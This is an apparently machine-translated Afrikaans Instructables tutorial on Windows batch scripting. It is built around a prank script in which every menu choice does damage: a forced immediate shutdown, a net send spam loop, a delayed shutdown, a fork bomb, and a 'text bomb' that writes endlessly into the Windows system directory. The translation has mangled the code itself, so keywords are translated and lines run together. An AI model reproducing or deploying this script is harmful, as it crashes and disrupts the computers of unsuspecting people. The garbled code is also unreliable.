INHOUDSOPGAWE:
- Stap 1: Formateer my teks, titels en kls
- Stap 2: Initialiseer veranderlikes, kry gebruikersinvoer en die If -verklaring
- Stap 3: Pypopdrag, asynchrone opdragte en omgewingsveranderlikes
- Stap 4: Wat gebeur? Woord
Video: Batch -tutoriaal - neem 2: 4 -stappe
2024 Outeur: John Day | [email protected]. Laas verander: 2024-01-30 07:28
Goed, soos ek in my vorige tutoriaal oor bondel gesê het (https://www.instructables.com/id/EZ049TMM19EWPKGWKH/#CEINEJV64U3EWP86YUP), ek is van plan om 'n uitgebreide tutoriaal van 3 dele (of neem) oor batch te skep. Dit behoort die meeste van die dinge wat u moet weet, te dek om te doen wat u wil met batch. The file below below is the competed.bat (batch) file made by me, laconix / inevitable_chaos
Stap 1: Formateer my teks, titels en kls
Goed om mee te begin, ek wys jou die kode;
@echo offtitle Keuses.. [deur laconix] clsecho U het 'n paar keuses om te maak..echo.. maak egter die verkeerde keuse en ly aan die gevolge! echo.pause: menuclsecho.echo.echo.echo.echo. eggo / ------------------------------ / echo / Kies 'n getal tussen 1 en 3 / echo (-1.. 2.. 3 -) eggo / Elke keuse, maar een is sleg! /eggo / ------------------------------/ titel stel basies die titel vir die opdragprompt sodat titel instructables.com cool is! cls maak net die cmd skoon van enige invoer of uitset U behoort nou te weet wat echo doen, maar eggo. skep 'n nuwe reël wat nuttig is vir die opmaak.: menu, alhoewel ek dit in my vorige tutoriaal behandel het, is dit die moeite werd om weer oor te gaan, maar dit skep in wese 'n punt in 'n program waarin u altyd kan gaan. Die res van hierdie afdeling is net opmaak.: D
Stap 2: Initialiseer veranderlikes, kry gebruikersinvoer en die If -verklaring
Ek wys u weer die kode en verduidelik dit;
stel keuse = nadaecho?.: Wat & aposll dit wees:.? stel /p keuse = Huh? clsif % choice % == 1 GOTO oneif % choice % == 2 GOTO twoif % choice % == 3 GOTO threemsg * Nie 1, 2 of 3 nie? Jammer, totsiens..afsluiting -s -f -t 00 stel keuse = nada, wat dit doen, is om die veranderlike te skep of te initialiseer met die aanvanklike waarde of "nada", of niks.: D 'n Veranderlike is soos 'n houer wat inligting vir jou stoor totdat dit nie meer nodig is of die program sluit nie. stel /p gekies =, dit kry die gebruiker se invoer deur die set -opdrag te gebruik met die argument /p wat die opdrag vertel om 'n promptstring te hê. So basies stel /p keuse = watter getal? is soos om 'n vraag te stel en hulle die antwoord te tik. as die if -stelling as sodanig werk. as voorwaarde == waar dothisSo basies sê dit as % keuse % gelyk is aan 1 GOTO een is dat dit nie waar is nie, gaan dit net na die volgende reël. shutdown -s -f -t 00 sluit net hul rekenaar af en dwing alle programme om onmiddellik te sluit.
Stap 3: Pypopdrag, asynchrone opdragte en omgewingsveranderlikes
Weereens, kode eerste, verduideliking daarna;
: onemsg * So u het nommer 1 gekies, gedink dat u veilig sou wees? msg * VERKEERD: netspamnet stuur * laconix -reëls! GOTO netspam: twoshutdown -s -t 10pausemsg * Hoop jy kry dit betyds, want dit was die veilige een … shut --AGOTO hel: threemsg * Dit is die veilige nommer … pouse: forkstart keuses.bat | msg * Memory wipeout! GOTO fork: hellmsg * grap, hulle is almal sleg!: textbombecho laconix -reëls! >> %systemroot %/laconix.txtGOTO: textbomb: een gaan basies net in 'n oneindige GOTO -lus in. Baie soortgelyk aan die voorbeeld van die vurkbom 2 in die eerste tutoriaal.: TweeVoer die opdrag -afsluiting -s -t 10 "die pouse uit, as hulle nie betyds op 'n sleutel druk nie, stop hulle rekenaar, as hulle dit maak, word dit afgebreek en maak hulle GOTO hel: hel Vertel hulle dat nie een van hulle goed was nie, doen wat ek 'n teksbom noem. Watter pype (>>) die commando eggo laconix reëls! ' na die %systemroot %/laconix.txt in 'n / n oneindige GOTO -lus. %systemroot %is 'n omgewingsveranderlike wat die lêer vertel om in die/windows/directory te stoor, ongeag die naam van die wortelstasie, dit wil sê C;/, E:/, Z:/, ensovoorts: drie Laat hulle dink dat dit die veilige getal is. Gaan in 'n vurkbom soortgelyk aan dié in die eerste tutoriaal, maar met een hoofverskil. Asynchrone opdragte; begin keuses.bat | ! die | dui asynchrone opdragte aan, wat basies beteken dat hulle terselfdertyd uitgevoer is.
Stap 4: Wat gebeur? Woord
Dankie dat u my tutoriaal gelees het, hoop dat u van die video hou. Iets geleer.
En ek hoop dat u steeds belangstel in rekenaars en in my instruksies. Hou gou my laaste tutoriaal in hierdie reeks dop!